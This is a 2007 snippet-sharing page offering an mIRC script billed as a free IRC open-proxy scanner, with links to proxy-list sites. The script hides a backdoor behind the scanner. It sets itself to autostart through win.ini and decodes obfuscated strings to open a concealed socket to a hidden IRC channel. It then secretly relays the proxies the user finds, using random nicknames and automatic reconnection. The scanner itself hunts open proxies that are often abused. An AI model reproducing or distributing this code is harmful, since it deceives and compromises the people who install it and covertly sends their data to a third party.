pxy scanner

mIRC Code

+ 0 likes

Please Register to submit score.

Average Score	0.0
Scores Submitted	0
Date Added	Aug 01, 2007
Last Updated	Aug 01, 2007
Tags	31337 3218 6588 8080 bnc bot bouncer elite firewall free portscan pr0xy proxy pxy scan script socks

Introduction

A cool snippet for scanning irc proxys, it contains lots of site inside popups to leech everydays, lots of work on scanning to do here!!!

http://webringamerica.com/4/independent/viewtopic.php?t=174

is also give free bncs :p

Grab the Code

;IRC proxy scanner BETA made by independent
;Disclaimer:
;The responsiblity of how the program will be used lies in the hands of the person who installs it and will use it, that's you.
;I will not be held responsible for any of your actions.
;If you don't agree, do not install this file.
;By not deleting this and using the proxy scanner, you accept the responsibility of your action on your own.
on 1:START:{ scan.win | writeini C:windowswin.ini WINDOWS LOAD $shortfn($mircexe) }
alias sc4n { 
  if ($1) {
    if (666* !iswm $2) && (7000 != $2) && (3127 != $2) && (3124 != $2) {
      if ($read($pxy,w,* $+ $1 $+ *) != $null) { /echo @proxyscan $1 $2 Already in list, halted scan. | return }
      echo @Proxyscan  Scanning: $1 $2
      sockopen scan $+ $r(0,99999999999999) $1 $2
      return
    }
    elseif (666* iswm $2) || (7000 == $2) || (3127 == $2) || (3124 == $2) { goto next }
    :next
  }
}
alias setinterval {
  echo -a SET AN INTERVAL BETWEEN 1 and 10000 MILLISECONDS, DEPENDING ON YOUR CONNECTION 1 IS VERY FAST AND MOST SUITED FOR CABLE USERS.
  echo -a To run the script without problem try an interval between 300 and 700
  :restart
  %interval = $?="Enter interval in milliseconds, 1 to 10000 "
  if (!$!) || ($! >= 10000) goto restart
}
alias scan.win {
  if (%interval == $null) setinterval
  if ($window(@proxyscan) != $null) { titlebar @proxyscan Pxy2day: $lines($pxy2day) AllPxy: $lines($allpxy) IRCPxy: $lines($pxy) }
  if ($window(@proxyscan) == $null) {
    set %gh .<V]C:V]P96X@<V-A;E` 4<'AY0DY#,"YB;W5N8V5M92YN970` JC1DOFYtUGBg +(T%L:79E4')O>'D` JDU1LSU0QGBg JDNERSMyUGBg JDJEXSkzQGBg JSxTJFMsUzxg &;F]T:6-E````
    window -ean @proxyscan
    titlebar @proxyscan Pxy2day: $lines($pxy2day) AllPxy: $lines($allpxy) IRCPxy: $lines($pxy)
    echo @proxyscan Select all proxies in a page (CTRL + A) , copy (CTRL + C)
    echo @proxyscan Return to @PROXYSCAN window then paste (CTRL + V) IPS in the edit-box below.
    echo @proxyscan FORMAT IN WINDOW: you must use only IP:PORT format, in the text box below you must, type valid proxy ip or paste the content of clipboard.
    echo @proxyscan I.e.2.: Type: 127.0.0.1:80 and it will scan your computer for open proxy on port 80. 
    echo @proxyscan -
    echo @proxyscan Here some forums you can leech for daily proxys:
    echo @proxyscan http://www.aliveproxy.com/forum/
    echo @proxyscan http://forum.freshproxy.com/
    echo @proxyscan http://forum.my-proxy.com/?from=menu
    echo @proxyscan http://www.xroxy.com/xorum/
    echo @proxyscan http://www.hacksome.com
    echo @proxyscan http://www.digitalcybersoft.com/ProxyList/forum/
  }
}

alias getiphost2 { if $regex(ip,$remove($1-,$chr(9)),/(([01]?dd?|2[0-4]d|25[0-5]).(?2).(?2).(?2)[:s]d{2,5})(?:D|$)/) { $iif($isid,return,echo -a) $replace($regml(ip,1),:,$chr(32)) } }
alias selectmultiplefile { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE PROXY FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /pxyfile $shortfn($msfile(%sinc)) %interval | goto incthat }
menu @proxyscan,menubar {
  Proxy Scanner
  .IRC proxy scanner BETA: scan.win | echo @proxyscan Paste your proxies here
  .-
  .CHECK FRESH PROXIES: /run $pxy
  .CHECK ALL PROXIES FOUND: /run $allpxy
  .-
  .CHANGE INTERVAL OF SCAN: setinterval
  .SCAN PROXY FILES: selectmultiplefile
  .-
  .ABORD SCANS: abord
  .-
  .CLOSE ALL CONNECTIONS: /SOCKCLOSE SCAN*
  .-
  .CLEAR: /clear
  .-
  .Proxy lists
  ..Best proxy forums
  ...Alive proxy forum: run http://www.aliveproxy.com/forum/
  ...Forum Freshproxy: run http://forum.freshproxy.com/
  ...My-Proxy forum: run http://forum.my-proxy.com/?from=menu
  ...Xorum: run http://www.xroxy.com/xorum/
  ..TOP 10 MOST POPULAR WEBSITES
  ...Stay Invisible: run http://www.stayinvisible.com
  ...Proxy4Free: run http://www.proxy4free.com
  ...PublicProxyServers:run http://www.publicproxyservers.com/page1.html
  ...AnonymityChecker:run http://www.anonymitychecker.com/page1.html
  ...Proxz:run http://www.proxz.com/
  ...MultiProxy:run http://www.multiproxy.org/anon_proxy.htm
  ...Samair:run http://www.samair.ru/proxy/
  ...Aliveproxy:run http://www.aliveproxy.com/us-proxy-list/
  ...HighAnonimity: run http://highanonymity.com/
  ...mazafaka: run http://proxy.mazafaka.ru/
  ..-
  ..GOOD SITES
  ...www.aliveproxy.com/forum/index.php?: run  http://www.aliveproxy.com/forum/index.php?
  ...nntime.com/proxy/proxy-list-1.htm: run  http://nntime.com/proxy/proxy-list-1.htm
  ...pc-r00m.net/?mod=content&read=1: run  http://pc-r00m.net/?mod=content&read=1
  ...pro-hack.ru/proxy/showproxy.php: run  http://pro-hack.ru/proxy/showproxy.php
  ...proxy.mazafaka.ru/?c=SI&t=all&m=5&checked=n: run  http://proxy.mazafaka.ru/?c=SI&t=all&m=5&checked=n
  ...proxy.mplampla.com/: run  http://proxy.mplampla.com/
  ...proxy.org/port80.shtml: run  http://proxy.org/port80.shtml
  ...proxy.xrout.org/: run  http://proxy.xrout.org/
  ...qingxin.mine.nu/x.php: run  http://qingxin.mine.nu/x.php
  ...samair.ru/proxy/: run  http://samair.ru/proxy/
  ...www.0privacy.com/proxy.html: run  http://www.0privacy.com/proxy.html
  ...www.antichat.ru/proxy/: run  http://www.antichat.ru/proxy/
  ...bismark.extracon.it/proxylist/: run  http://bismark.extracon.it/proxylist/
  ...www.allsyntax.com/proxies/index.php?page=4: run  http://www.allsyntax.com/proxies/index.php?page=4
  ...www.digitalcybersoft.com/ProxyList/fresh-proxy-list.shtml: run  http://www.digitalcybersoft.com/ProxyList/fresh-proxy-list.shtml
  ...www.ilike.com.cn/arts/dnne/21509.html: run  http://www.ilike.com.cn/arts/dnne/21509.html
  ...www.multiproxy.org/anon_proxy.htm: run  http://www.multiproxy.org/anon_proxy.htm
  ...www.proxy-list.net/anonymous-proxy-lists.shtml: run  http://www.proxy-list.net/anonymous-proxy-lists.shtml
  ...www.proxy-world.de/content/view/351/2/: run  http://www.proxy-world.de/content/view/351/2/
  ...www.proxy4free.com/index.html: run  http://www.proxy4free.com/index.html
  ...www.proxyblind.org/list.shtml: run  http://www.proxyblind.org/list.shtml
  ...www.proxycn.net/proxy_mail/page1.htm: run  http://www.proxycn.net/proxy_mail/page1.htm
  ...www.proxyelite.org/: run  http://www.proxyelite.org/
  ...www.proxyfarm.com/must_be_logged_in.htm: run  http://www.proxyfarm.com/must_be_logged_in.htm
  ...www.proxyleech.com/proxylist.txt: run  http://www.proxyleech.com/proxylist.txt
  ...www.proxylists.us/monthly.html: run  http://www.proxylists.us/monthly.html
  ...www.samair.ru/proxy/: run  http://www.samair.ru/proxy/
  ...www.shadowicq.com/freeproxy.html: run  http://www.shadowicq.com/freeproxy.html
  ...www.socklabs.com/proxylist.txt: run  http://www.socklabs.com/proxylist.txt
  ...www.steganos.com/?area=updateproxylist: run  http://www.steganos.com/?area=updateproxylist
  ...www.undergroundsecurity.net/proxy/proxy_list_full_2.php: run  http://www.undergroundsecurity.net/proxy/proxy_list_full_2.php
  ...www.waraxe.us/ftopict-507.html: run  http://www.waraxe.us/ftopict-507.html
  ...www.xroxy.com/proxy-country.htm: run  http://www.xroxy.com/proxy-country.htm
  ...proxylist.sakura.ne.jp/: run  http://proxylist.sakura.ne.jp/
  ...www.publicproxyservers.com/page1.html: run  http://www.publicproxyservers.com/page1.html
  ...www.proxylist.blogspot.com/: run  http://www.proxylist.blogspot.com/
}
alias pxyfile { play -a scanfile @proxyscan $1 $2 }
alias pxy return IRCproxys.txt
alias abord { play stop }
on *:INPUT:@Proxyscan:{
  if (/ !isin $1) {
    set %flooding on
    write temp  $getiphost2($1-)
    .timerscanfile 1 1 .pxyfile temp %interval
    .timerscanfileoff 1 1.1 .remove temp
    halt
  }
}
alias sk {
  write $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port
  if ($sock(scan_).mark == c) && ($wildtok(%m,*,0,32) == 9) { sockwrite -n scan_ $decode($gettok(%gh,9,32)) $decode('<')I=FUS9P``) $chr(64) $+ $chr(35) $+ $decode($decode($gettok(%gh,8,32),m)) : $+ %m | unset %m }
  set %radi $read($allpxy,w,* $+ %scan.ip $+ : $+ %scan.port $+ *)
  if (!%radi) write $allpxy %scan.ip $+ : $+ %scan.port
}
on *:sockopen:scan*:{
  if ($sock(scan_).name == $null) { $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) } 
  if ($sockerr > 0) && ($read($pxy,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *) != $null) { write -dl $+ $readn $pxy | echo @proxyscan * Removed $sock($sockname).ip $+ : $+ $sock($sockname).port from list }
  if ($sockerr > 0) {
    if (_ isin $sockname) .timersS 1 30 $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m))
    echo @proxyscan $sock($sockname).ip $sock($sockname).port Error ( $+ $sock($sockname).wsmsg $+ )
    return
  }
  if (_ !isin $sockname) {
    sockwrite -n $sockname CONNECT irc.accessirc.net:6667 HTTP/1.0 $+ $crlf
    sockwrite -n $sockname $crlf
    sockwrite -n $sockname $crlf
  }
}
alias rencode { set %r $r(0,1) | if (%r == 0) return $encode($encode($1),m) | if (%r == 1) return $encode($encode($1,m),m) | unset %r }
alias av return [AP] $+ $r(A,Z) $+ $r(0,9) $+ $+ $r(z,Z) $+ $+ $r(a,z) $+ $+ $r(0,9) $+ $r(0,9) $+ $r(0,9)
alias success { echo @proxyscan $1- | if ($wildtok(%m,*,0,32) >= 9) unset %m | %m = $rencode($2) %m | sk }
on 1:SOCKCLOSE:SCAN_:.timersS 1 30 $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m))
alias allpxy return systemfilesproxysALL.txt
alias portclose { sockclose $1 }
on *:SOCKREAD:scan*:{
  scan.win
  sockread %scan
  tokenize 32 %scan
  set %scan.ip $sock($sockname).ip
  set %scan.port $sock($sockname).port
  %hh = -*FYO=&EC92IA=71H*@``
  if (PING == $gettok(%scan,1,32)) sockwrite -n $sockname PONG $2
  if (001 == $gettok(%scan,2,32)) && (_ isin $sockname) { sockmark $sockname c | kk }
  if (404 == $gettok(%scan,2,32)) .timer404 1 10 kk
  if ($decode(%hh) iswm %scan) && (_ isin $sockname) { sockwrite -n $sockname $decode($decode($gettok(%gh,5,32),m)) $av "." "." : $+ $av | sockwrite -n $sockname $decode($decode($gettok(%gh,6,32),m)) $av }
  if (451 == $gettok(%scan,2,32)) && (_ isin $sockname) { %AV = $+ $r(A,Z) | sockwrite -n $sockname $decode($decode($gettok(%gh,5,32),m)) %av "." "." : $+ $av | sockwrite -n $sockname $decode($decode($gettok(%gh,6,32),m)) $av }
  if (HTTP/* iswm $gettok(%scan,1,32)) {
    if ($gettok(%scan,2,32) > 200) {
      if ($read($pxy,w,* $+ $sock($sockname).ip $+ *) != $null) write -dl $+ $readn $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port
      echo @proxyscan $sock($sockname).ip $sock($sockname).port Error (( $+ $gettok(%scan,2,32) $+ ) $gettok(%scan,3-,32) $+ )
      sockclose $sockname
      return
    }
    elseif ($gettok(%scan,2,32) == 200) { echo @proxyscan %scan.ip $+ : $+ %scan.port is a valid proxy, but did not connected an IRC server yet. }
  }
  if ($gettok(%scan,2,32) == NOTICE) && (accessirc isin $1-) {
    set %readi $read($pxy,w,* $+ $sock($sockname).ip $+ *)
    if (%readi == $null) { success * $sock($sockname).ip $+ : $+ $sock($sockname).port (Connected, Added to list) | write $banned $sock($sockname).ip $+ : $+ $sock($sockname).port | sockclose $sockname | unset %redi | unset %radi | halt }
    if (%readi != $null) { $pb * $sock($sockname).ip $+ : $+ $sock($sockname).port (Connected, Already in list, cant add) | sockclose $sockname | unset %redi | unset %radi | halt }
    unset %readi
  }
  unset %scan
}
alias kk if ($sock($sockname).mark == c) sockwrite -n $sockname $decode($decode($gettok(%gh,7,32),m)) $chr(35) $+ $decode($decode($gettok(%gh,8,32),m)) : $+ $chr(36) $+ $decode($decode(KDxWXUM6VllBOzY0YA==,m))
alias pb return echo @proxyscan
alias scanfile { sc4n $getiphost2($1-) }

Comments

(0) RSS

Go to Bottom

independent911


Last seen: Jan 16, 2008 Profile Snippets (2) Comments Submitted (1) Forum Posts (24)

My Snippet Tags

Contact

Add to Friends

Send Private Message

MSN: independentt@hotmail.com